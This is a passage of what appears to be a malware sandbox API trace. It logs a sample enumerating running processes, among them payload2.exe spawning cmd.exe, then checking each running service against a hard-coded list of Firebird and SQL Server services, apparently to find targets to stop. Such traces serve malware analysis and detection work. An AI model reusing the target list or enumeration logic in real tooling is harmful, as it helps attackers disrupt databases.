	[0063.216] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0063.217] lstrlenW (lpString="msoia.exe") returned 9
	[0063.217] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0063.218] lstrlenW (lpString="msoia.exe") returned 9
	[0063.218] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0063.218] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0063.218] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0063.219] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0063.219] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0063.220] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0063.220] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0063.220] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0063.220] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0063.221] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0063.221] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0063.221] lstrlenW (lpString="legends.exe") returned 11
	[0063.221] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0063.222] lstrlenW (lpString="miniature.exe") returned 13
	[0063.222] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0063.223] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0063.223] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0063.224] lstrlenW (lpString="thorough.exe") returned 12
	[0063.224] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0063.224] lstrlenW (lpString="dllhost.exe") returned 11
	[0063.225] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0063.225] lstrlenW (lpString="interactive.exe") returned 15
	[0063.225] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0063.226] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0063.226] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0063.226] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0063.226] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0063.227] lstrlenW (lpString="eastexamined.exe") returned 16
	[0063.227] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0063.232] lstrlenW (lpString="attacks-according.exe") returned 21
	[0063.232] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0063.233] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0063.233] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0063.234] lstrlenW (lpString="values latin.exe") returned 16
	[0063.234] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0063.235] lstrlenW (lpString="eaufeed.exe") returned 11
	[0063.235] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0063.235] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0063.235] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0063.236] lstrlenW (lpString="burning.exe") returned 11
	[0063.236] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0063.237] lstrlenW (lpString="warned-garage.exe") returned 17
	[0063.237] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0063.238] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0063.238] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0063.238] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0063.238] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0063.239] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0063.239] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0063.240] lstrlenW (lpString="proprietary.exe") returned 15
	[0063.240] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.241] lstrlenW (lpString="conhost.exe") returned 11
	[0063.241] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.241] lstrlenW (lpString="conhost.exe") returned 11
	[0063.242] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0063.242] lstrlenW (lpString="payload2.exe") returned 12
	[0063.242] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0063.243] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0063.243] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.244] lstrlenW (lpString="conhost.exe") returned 11
	[0063.244] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.245] lstrlenW (lpString="svchost.exe") returned 11
	[0063.245] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0063.245] lstrlenW (lpString="cmd.exe") returned 7
	[0063.245] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.246] lstrlenW (lpString="conhost.exe") returned 11
	[0063.246] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0063.247] CloseHandle (hObject=0x370) returned 1
	[0063.247] Sleep (dwMilliseconds=0x1f4) 
	[0064.163] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d980
	[0064.164] EnumServicesStatusExW (in: hSCManager=0x52d980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0064.166] GetLastError () returned 0xea
	[0064.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x54f9b0
	[0064.166] EnumServicesStatusExW (in: hSCManager=0x52d980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54f9b0, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54f9b0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0064.167] CloseServiceHandle (hSCObject=0x52d980) returned 1
	[0064.167] lstrlenW (lpString="Appinfo") returned 7
	[0064.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0064.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0064.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0064.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0064.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0064.167] lstrlenW (lpString="AppXSvc") returned 7
	[0064.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0064.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0064.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0064.168] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0064.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0064.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0064.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0064.168] lstrlenW (lpString="Audiosrv") returned 8
	[0064.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0064.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0064.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0064.168] lstrlenW (lpString="BFE") returned 3
	[0064.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0064.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0064.168] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0064.168] lstrlenW (lpString="BITS") returned 4
	[0064.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0064.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0064.168] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0064.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0064.168] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0064.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0064.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0064.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0064.169] lstrlenW (lpString="CDPSvc") returned 6
	[0064.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0064.169] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0064.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0064.169] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0064.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0064.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0064.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0064.169] lstrlenW (lpString="CryptSvc") returned 8
	[0064.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0064.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0064.169] lstrlenW (lpString="DcomLaunch") returned 10
	[0064.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0064.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0064.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0064.170] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0064.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0064.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0064.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0064.170] lstrlenW (lpString="Dhcp") returned 4
	[0064.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0064.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0064.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0064.170] lstrlenW (lpString="Dnscache") returned 8
	[0064.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0064.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0064.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0064.170] lstrlenW (lpString="DoSvc") returned 5
	[0064.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0064.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0064.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0064.170] lstrlenW (lpString="DPS") returned 3
	[0064.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0064.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0064.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0064.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0064.171] lstrlenW (lpString="DusmSvc") returned 7
	[0064.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0064.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0064.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0064.171] lstrlenW (lpString="EventLog") returned 8
	[0064.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0064.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0064.171] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0064.171] lstrlenW (lpString="EventSystem") returned 11
	[0064.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0064.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0064.171] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0064.171] lstrlenW (lpString="FontCache") returned 9
	[0064.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0064.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0064.171] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0064.171] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0064.171] lstrlenW (lpString="gpsvc") returned 5
	[0064.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0064.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0064.171] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0064.171] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0064.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0064.172] lstrlenW (lpString="iphlpsvc") returned 8
	[0064.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0064.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0064.172] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0064.172] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0064.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0064.172] lstrlenW (lpString="KeyIso") returned 6
	[0064.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0064.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0064.172] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0064.172] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0064.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0064.172] lstrlenW (lpString="LanmanServer") returned 12
